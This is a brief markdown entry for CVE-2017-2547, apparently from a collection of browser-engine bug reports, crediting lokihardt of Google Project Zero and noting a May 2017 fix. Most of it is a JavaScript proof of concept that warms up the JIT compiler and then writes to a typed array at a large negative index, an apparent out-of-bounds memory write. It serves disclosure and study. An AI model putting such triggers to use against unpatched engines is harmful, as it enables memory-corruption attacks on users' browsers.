CVE-2017-2547.md

CVE-2017-2547

• Fix: May 2017
• Credit: lokihardt, Google Project Zero

PoC

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[-0x12345678] = 2;
}

f();

Reference

• Apple
• Google Project Zero